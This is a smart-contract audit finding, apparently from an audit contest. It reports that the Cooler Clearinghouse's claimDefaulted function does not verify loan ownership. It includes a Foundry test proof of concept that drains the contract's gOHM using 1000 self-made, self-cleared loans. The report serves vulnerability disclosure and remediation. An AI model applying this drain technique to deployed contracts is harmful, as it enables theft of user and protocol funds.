Jovial Oily Beetle

high

# Unverified Loan Ownership in claimDefaulted Method Allows gOHM Drain
## Summary
The `claimDefaulted` method in the `ClearingHouse` contract does not validate the ownership of loans, allowing an attacker to default their own loans. The primary risk arises when the `ClearingHouse` generates OHM rewards based on the defaulted loan amount. If an attacker crafts a loan using tokens they've created, they can exploit this vulnerability to drain the `gOHM ` balance of the `ClearingHouse`.

## Vulnerability Detail
The `claimDefaulted` function in the `ClearingHouse` contract is designed to handle defaulted loans. However, it lacks a crucial check to verify if the provided loans are genuinely owned by the `ClearingHouse`. An attacker can exploit this oversight by calling the `claimDefaulted `method with their own loans as arguments.

The threat can be extended if the attacker has created a loan using tokens they've created themselves, since the `ClearingHouse` calculates `gOHM` rewards based on the loan amount By defaulting such a loan, they can trick the `ClearingHouse` into generating a large amount of `gOHM` rewards, effectively draining `gOHM` from the contract.

POC:
```javascript
    function test_DrainClearingHouse() public {
        //test setUp
        gohm.mint(address(clearinghouse), 100e18);
        ohm.mint(address(clearinghouse), 1_900e18);
        uint256 clearingHouseBalanceBefore = gohm.balanceOf(address(clearinghouse));
        MockERC20 token0 = new MockERC20("token0", "TK0", 18);
        MockERC20 token1 = new MockERC20("token1", "TK1", 18);
        address attacker = address(0x689);
        token0.mint(attacker, 2_000e18);
        token1.mint(attacker, 2_000e18);
        
        vm.startPrank(attacker);
        // Create a cooler for the attacker.
        Cooler attackerCooler = Cooler(factory.generateCooler(token0, token1));

        //Approve 2_000 worth of token0 to the attacker cooler as a collateral.
        token0.approve(address(attackerCooler), 2_000e18);
        //The attacker approves the debt value of 2_000 worth of token1 to the cooler to clear his own loan requests.
        token1.approve(address(attackerCooler), 2_000e18);
        //Attacker will create as many loans as possible in order to drain the contract.
        uint256 loansCount = 1000;
        uint256[] memory loanIds = new uint[](loansCount);
        address[] memory coolers = new address[](loansCount);
        for (uint256 i=0; i < loansCount; i++)
        {
            //The attacker request a loan with an interest of 0% and a duration of 0 second.
            uint256 reqId = attackerCooler.requestLoan(2e18, 0, 1e18, 0);
            //The attacker clears his own loan.
            loanIds[i] = attackerCooler.clearRequest(reqId, true, false);
            coolers[i] = address(attackerCooler);
        }
        // Wait for one week to generate the maximum reward
        skip(1 weeks);

        // Attack by defaulting the loans through the clearinghouse 
        clearinghouse.claimDefaulted(coolers, loanIds);
        
        vm.stopPrank();
        assertEq(gohm.balanceOf(address(clearinghouse)), 0);
        assertEq(gohm.balanceOf(attacker), clearingHouseBalanceBefore);
    }
```
## Impact
The `ClearingHouse` can be drained of gOHM, leading to huge financial losses.

## Code Snippet
https://github.com/sherlock-audit/2023-08-cooler/blob/main/Cooler/src/Clearinghouse.sol#L191-L245
## Tool used

Manual Review

## Recommendation
Implement a check in the `claimDefaulted` method to verify that the provided loans are genuinely owned by the `ClearingHouse`.